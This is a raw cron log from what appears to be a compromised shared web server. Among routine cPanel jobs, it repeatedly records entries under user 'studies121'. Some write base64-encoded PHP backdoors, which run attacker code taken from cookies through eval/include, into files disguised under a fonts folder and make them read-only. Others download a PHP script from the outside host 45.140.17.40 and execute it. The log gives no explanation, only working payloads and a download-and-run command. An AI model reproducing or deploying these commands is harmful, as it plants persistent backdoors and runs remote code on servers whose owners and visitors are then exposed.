Sep 22 14:31:01 ip-184-168-122-23 CROND[16318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:32:01 ip-184-168-122-23 CROND[16513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:32:02 ip-184-168-122-23 CROND[16517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:32:02 ip-184-168-122-23 CROND[16516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:32:02 ip-184-168-122-23 CROND[16515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:32:02 ip-184-168-122-23 CROND[16518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:33:01 ip-184-168-122-23 CROND[16634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:33:01 ip-184-168-122-23 CROND[16637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:33:01 ip-184-168-122-23 CROND[16636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:33:01 ip-184-168-122-23 CROND[16639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:34:01 ip-184-168-122-23 CROND[16771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:34:01 ip-184-168-122-23 CROND[16772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:34:01 ip-184-168-122-23 CROND[16773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:34:01 ip-184-168-122-23 CROND[16774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:34:01 ip-184-168-122-23 CROND[16779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17023]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:35:01 ip-184-168-122-23 CROND[17025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:35:01 ip-184-168-122-23 CROND[17027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:36:01 ip-184-168-122-23 CROND[18296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:36:01 ip-184-168-122-23 CROND[18297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:36:01 ip-184-168-122-23 CROND[18299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:36:01 ip-184-168-122-23 CROND[18300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:36:01 ip-184-168-122-23 CROND[18304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:37:01 ip-184-168-122-23 CROND[20160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:37:01 ip-184-168-122-23 CROND[20159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:37:01 ip-184-168-122-23 CROND[20164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:37:01 ip-184-168-122-23 CROND[20168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:38:01 ip-184-168-122-23 CROND[21009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:38:01 ip-184-168-122-23 CROND[21010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:38:01 ip-184-168-122-23 CROND[21013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:38:01 ip-184-168-122-23 CROND[21015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:38:01 ip-184-168-122-23 CROND[21016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:39:01 ip-184-168-122-23 CROND[21791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:39:01 ip-184-168-122-23 CROND[21792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:39:01 ip-184-168-122-23 CROND[21794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:39:01 ip-184-168-122-23 CROND[21796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:39:01 ip-184-168-122-23 CROND[21795]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 14:40:01 ip-184-168-122-23 CROND[22539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:40:01 ip-184-168-122-23 CROND[22544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:40:01 ip-184-168-122-23 CROND[22543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:40:01 ip-184-168-122-23 CROND[22545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:40:01 ip-184-168-122-23 CROND[22549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:40:01 ip-184-168-122-23 CROND[22547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:40:01 ip-184-168-122-23 CROND[22556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:40:01 ip-184-168-122-23 CROND[22559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 14:41:01 ip-184-168-122-23 CROND[23286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:41:01 ip-184-168-122-23 CROND[23285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:41:01 ip-184-168-122-23 CROND[23290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:41:01 ip-184-168-122-23 CROND[23287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:42:01 ip-184-168-122-23 CROND[24531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:42:01 ip-184-168-122-23 CROND[24532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:42:01 ip-184-168-122-23 CROND[24536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:42:01 ip-184-168-122-23 CROND[24537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:42:01 ip-184-168-122-23 CROND[24538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:43:02 ip-184-168-122-23 CROND[25325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:43:02 ip-184-168-122-23 CROND[25324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
